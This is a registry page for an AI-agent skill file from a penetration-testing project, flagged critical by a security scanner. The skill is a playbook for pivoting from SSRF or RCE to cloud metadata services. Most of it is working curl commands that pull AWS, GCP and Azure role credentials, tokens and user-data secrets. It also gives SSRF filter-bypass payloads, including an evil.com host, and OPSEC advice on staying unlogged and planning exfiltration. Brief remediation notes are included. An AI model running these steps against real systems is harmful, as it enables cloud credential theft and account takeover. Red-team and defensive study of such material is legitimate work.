CtrlK
BlogDocsLog inGet started
Tessl Logo

imds-pivot

Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.

59

Quality

70%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md
SKILL.md
Quality
Evals
Security

Instance Metadata Service Pivot

When you have SSRF, server-side fetch, or RCE on a cloud-hosted instance, the metadata endpoint is the single highest-value local pivot. Each cloud has slightly different mechanics.

1. Identify the cloud provider

Header fingerprints, IP ranges, or just try in order:

CloudEndpointAuth
AWShttp://169.254.169.254/latest/meta-data/IMDSv1: no header. IMDSv2: PUT for token
GCPhttp://metadata.google.internal/computeMetadata/v1/Header Metadata-Flavor: Google
Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01Header Metadata: true
Alibabahttp://100.100.100.200/latest/meta-data/None
DigitalOceanhttp://169.254.169.254/metadata/v1/None
Oracle Cloudhttp://169.254.169.254/opc/v2/instance/Header Authorization: Bearer Oracle
metadata_endpoints("aws")  → returns full URL list for AWS
metadata_endpoints("gcp")
metadata_endpoints("azure")

2. AWS — extract IAM role creds

IMDSv1 (legacy, no token required):

ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

IMDSv2 (requires session token):

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

Output:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",                 ← session token (REQUIRED for ASIA keys)
  "Expiration": "2026-..."
}

Use:

export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/creds.json)
aws sts get-caller-identity
# Pivot to aws-iam-enum/SKILL.md

3. AWS — user-data (often holds secrets)

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/user-data"

User-data is the boot script. Often contains:

  • AWS credentials (despite docs saying not to)
  • API tokens, license keys
  • Database connection strings
  • Internal infrastructure URLs

4. GCP — service account tokens

H='Metadata-Flavor: Google'

# Identify
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email'

# Get access token (Bearer)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' > /tmp/gcp.json
TOKEN=$(jq -r .access_token /tmp/gcp.json)

# Use it
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://www.googleapis.com/compute/v1/projects/PROJ/zones/ZONE/instances'

# Project ID
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/project/project-id'

# All custom metadata (often holds startup secrets)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true'

5. Azure — managed identity tokens

H='Metadata: true'

# Instance metadata
curl -s -H "$H" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'

# Token for resource ARM
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' > /tmp/azure.json
TOKEN=$(jq -r .access_token /tmp/azure.json)

# Use Bearer for ARM API
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://management.azure.com/subscriptions?api-version=2020-01-01'

# Token for storage (specify resource)
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/'

# Token for KeyVault
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'

6. SSRF through filters

When the target server filters local IPs:

BypassExample
Decimal IP2852039166 for 169.254.169.254
Hex IP0xA9FEA9FE
Mixed encoding169.254.169.0254 (octal last octet)
Embedded credshttp://169.254.169.254:80@evil.com/ (some parsers)
DNS rebindingDomain w/ 1s TTL flipping to 169.254.169.254 after fetch
Open redirectIf target has open redirect, chain it: target.com/redir?to=http://169.254.169.254/
Server-side URL parser bugVarious — see SSRF skill catalog

7. IMDSv2 bypass attempts (when v2 enforced)

v2 requires a PUT first. Real SSRF rarely does PUT.

  • Workaround 1: find a server-side fetch that supports HTTP methods
  • Workaround 2: chain SSRF → RCE → curl from the box directly
  • Workaround 3: hop-by-hop header smuggling (rare, version-specific)
  • Reality check: if IMDSv2 is enforced AND your SSRF is GET-only, you cannot extract creds. Document this as the boundary and pivot elsewhere.

8. Promote

kg_add_node(kind="credential", label="<role-name>:<ASIA-prefix>",
            props={"source":"imds-pivot","cloud":"aws","expires":"<ts>"})
kg_add_edge(src=<ssrf-vuln>, dst=<cred>, kind="extracts")
kg_add_edge(src=<cred>, dst=<crown_jewel:aws-account>, kind="grants-access")

OPSEC

  • AWS: IMDS access is not logged in CloudTrail (kernel-local). You're invisible at the cred-grab stage.
  • GCP: same — metadata.google.internal is kernel-local
  • Azure: same
  • But every API call you make WITH the stolen creds IS logged. Plan exfil before usage.

CVSS

  • IMDS available + IMDSv1 + over-privileged role: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0
  • IMDSv2 + role w/ admin: 9.5 (slightly higher complexity)
  • IMDS available, low-priv role: 5-7 depending on what role can do

Defender remediation

  • AWS: enforce IMDSv2 cluster-wide via SCP
    "ec2:MetadataHttpTokens" = "required"
  • AWS: set hop-limit to 1 (HttpPutResponseHopLimit: 1) so containers can't get the token
  • Restrict IAM role to needed permissions ONLY (no iam:PassRole, no * in actions)
  • Network policy on the host: block 169.254.169.254 from containers via iptables/nftables when containers don't need cloud APIs

Known exemplars

  • Capital One 2019: WAF → SSRF → IMDS → cred extract → 100M PII exfil
  • Multiple PortSwigger SSRF lab solutions = this exact pattern
  • Pattern: any web app w/ "fetch URL" / "import from URL" feature on a cloud instance, unfiltered, IMDSv1 = guaranteed cred extract
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.